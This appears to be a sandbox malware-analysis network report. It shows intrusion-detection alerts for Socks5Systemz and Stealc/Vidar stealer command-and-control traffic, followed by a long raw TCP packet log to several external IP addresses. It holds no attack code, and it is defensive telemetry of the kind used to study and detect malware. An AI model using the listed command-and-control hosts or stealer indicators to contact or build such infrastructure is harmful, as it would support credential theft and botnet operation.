2024-09-06T08:18:59.815229+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49822	185.196.8.214	80	TCP
2024-09-06T08:18:59.815229+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49822	185.196.8.214	80	TCP
2024-09-06T08:19:00.950695+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49823	185.196.8.214	80	TCP
2024-09-06T08:19:00.950695+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49823	185.196.8.214	80	TCP
2024-09-06T08:19:01.893351+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49824	185.196.8.214	80	TCP
2024-09-06T08:19:01.893351+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49824	185.196.8.214	80	TCP
2024-09-06T08:19:02.924502+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49825	185.196.8.214	80	TCP
2024-09-06T08:19:02.924502+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49825	185.196.8.214	80	TCP
2024-09-06T08:19:04.139760+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49826	185.196.8.214	80	TCP
2024-09-06T08:19:04.139760+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49826	185.196.8.214	80	TCP
2024-09-06T08:19:05.073923+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49827	185.196.8.214	80	TCP
2024-09-06T08:19:05.073923+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49827	185.196.8.214	80	TCP
2024-09-06T08:19:06.143357+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49828	185.196.8.214	80	TCP
2024-09-06T08:19:06.143357+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49828	185.196.8.214	80	TCP
2024-09-06T08:19:07.488910+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49829	185.196.8.214	80	TCP
2024-09-06T08:19:07.488910+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49829	185.196.8.214	80	TCP
2024-09-06T08:19:08.371244+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49830	185.196.8.214	80	TCP
2024-09-06T08:19:08.371244+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49830	185.196.8.214	80	TCP
2024-09-06T08:19:09.293068+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49831	185.196.8.214	80	TCP
2024-09-06T08:19:09.293068+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49831	185.196.8.214	80	TCP
2024-09-06T08:19:10.370025+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49832	185.196.8.214	80	TCP
2024-09-06T08:19:10.370025+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49832	185.196.8.214	80	TCP
2024-09-06T08:19:11.232957+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49834	185.196.8.214	80	TCP
2024-09-06T08:19:11.232957+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49834	185.196.8.214	80	TCP
2024-09-06T08:19:14.195171+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	147.45.126.10	80	192.168.2.4	49835	TCP
2024-09-06T08:19:15.852916+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	147.45.126.10	80	192.168.2.4	49835	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 6, 2024 08:16:57.070051908 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:16:57.075397015 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:16:57.075472116 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:16:57.075624943 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:16:57.080326080 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:16:57.569557905 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:16:57.584883928 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:57.584908962 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:57.584973097 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:57.587956905 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:57.587969065 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:57.615247965 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:16:58.168225050 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:58.168395042 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:58.222590923 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:58.222605944 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:58.222951889 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:58.271496058 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:58.849315882 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:58.892489910 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:59.003221989 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:59.003307104 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:59.003355026 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:59.005533934 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:59.005547047 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:59.005584002 CEST	49731	443	192.168.2.4	173.231.16.77
Sep 6, 2024 08:16:59.005589008 CEST	443	49731	173.231.16.77	192.168.2.4
Sep 6, 2024 08:16:59.015794039 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.015825987 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.015913963 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.016225100 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.016241074 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.473086119 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.473166943 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.476283073 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.476291895 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.476560116 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.477885962 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.524502039 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.612410069 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.612523079 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.612603903 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.612903118 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.612924099 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:16:59.612936020 CEST	49732	443	192.168.2.4	34.117.59.81
Sep 6, 2024 08:16:59.612941027 CEST	443	49732	34.117.59.81	192.168.2.4
Sep 6, 2024 08:17:01.757911921 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:17:01.757947922 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:17:01.762780905 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:17:01.762903929 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:17:02.391652107 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:17:02.443373919 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:17:02.518862963 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:17:02.518903017 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:17:02.523639917 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:17:02.523747921 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:17:03.886363029 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:17:03.886404991 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:17:03.886415005 CEST	80	49730	185.143.223.148	192.168.2.4
Sep 6, 2024 08:17:03.886503935 CEST	49730	80	192.168.2.4	185.143.223.148
Sep 6, 2024 08:17:04.442981958 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:04.445338964 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:04.447825909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:04.447887897 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:04.450102091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:04.450166941 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:04.450284004 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:04.455085993 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:04.457303047 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:04.462065935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:04.466384888 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:04.469049931 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:04.471221924 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:04.471282959 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:04.471672058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:04.471769094 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:04.473834991 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:04.473893881 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:04.474939108 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:04.476408005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:04.476497889 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:04.476517916 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:04.478478909 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:04.479724884 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:04.483283997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:04.499629021 CEST	49738	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:04.502283096 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:04.504421949 CEST	80	49738	176.111.174.109	192.168.2.4
Sep 6, 2024 08:17:04.504488945 CEST	49738	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:04.504693031 CEST	49738	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:04.507113934 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:04.507169962 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:04.507302999 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:04.509454012 CEST	80	49738	176.111.174.109	192.168.2.4
Sep 6, 2024 08:17:04.512058020 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:04.513567924 CEST	49740	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:04.518460035 CEST	80	49740	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:04.518520117 CEST	49740	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:04.519157887 CEST	49740	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:04.523996115 CEST	80	49740	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:04.994396925 CEST	80	49740	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:04.994457960 CEST	49740	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:04.994576931 CEST	49740	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:04.995058060 CEST	49741	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:04.999327898 CEST	80	49740	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:04.999789000 CEST	80	49741	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:04.999864101 CEST	49741	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.000201941 CEST	49741	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.005100012 CEST	80	49741	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.068603039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.068691015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.069526911 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.074306011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.093399048 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.093462944 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.099900961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.099953890 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.101667881 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.101893902 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.106456041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.106641054 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.115458965 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.115617990 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.115905046 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.120667934 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.205362082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.205426931 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.205779076 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.210522890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.213345051 CEST	80	49738	176.111.174.109	192.168.2.4
Sep 6, 2024 08:17:05.213448048 CEST	49738	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:05.213495016 CEST	49738	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:05.213993073 CEST	49742	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:05.218297005 CEST	80	49738	176.111.174.109	192.168.2.4
Sep 6, 2024 08:17:05.218779087 CEST	80	49742	176.111.174.109	192.168.2.4
Sep 6, 2024 08:17:05.218841076 CEST	49742	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:05.218965054 CEST	49742	80	192.168.2.4	176.111.174.109
Sep 6, 2024 08:17:05.223695993 CEST	80	49742	176.111.174.109	192.168.2.4
Sep 6, 2024 08:17:05.251698971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.251843929 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.252029896 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.256771088 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.283955097 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284004927 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284013987 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.284018040 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284029961 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284054041 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.284079075 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284085035 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.284094095 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284111023 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.284111977 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284130096 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284140110 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.284142017 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284152985 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.284172058 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.284183979 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.284233093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.284291983 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.284451008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.284567118 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284576893 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.284616947 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.288821936 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.288847923 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.288892031 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.288955927 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.289000034 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.289189100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.302035093 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302053928 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302064896 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302098989 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.302125931 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302134991 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.302136898 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302170992 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.302171946 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302182913 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302194118 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302207947 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.302213907 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302226067 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302239895 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.302239895 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.302253962 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.302895069 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.302966118 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.307020903 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.307032108 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.307043076 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.307075024 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.307102919 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.307213068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.307259083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.307540894 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.312309980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.373991966 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374006987 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374017954 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374080896 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.374109983 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374128103 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374139071 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374224901 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374237061 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374253988 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.374269009 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.374269009 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.374269009 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.374310970 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375010014 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375021935 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375032902 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375067949 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375068903 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375077009 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375080109 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375092030 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375102043 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375132084 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375808954 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375850916 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375859022 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375863075 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375889063 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375906944 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375914097 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375925064 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375941992 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.375962019 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.375987053 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.376645088 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.376665115 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.376693964 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.376708984 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.393023968 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393040895 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393053055 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393064022 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393081903 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393115044 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.393286943 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393305063 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393316031 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393325090 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.393337011 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.393342018 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393368006 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.393392086 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.393824100 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393835068 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393851042 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393862963 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393879890 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.393882990 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.393922091 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.394555092 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.394567013 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.394577980 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.394602060 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.394613981 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.394624949 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.394625902 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.394637108 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.394649982 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.394669056 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.394686937 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.395417929 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.395428896 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.395438910 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.395454884 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.395464897 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.395483017 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.395514965 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.413635969 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.413682938 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.413692951 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.413702965 CEST	80	49735	46.29.235.52	192.168.2.4
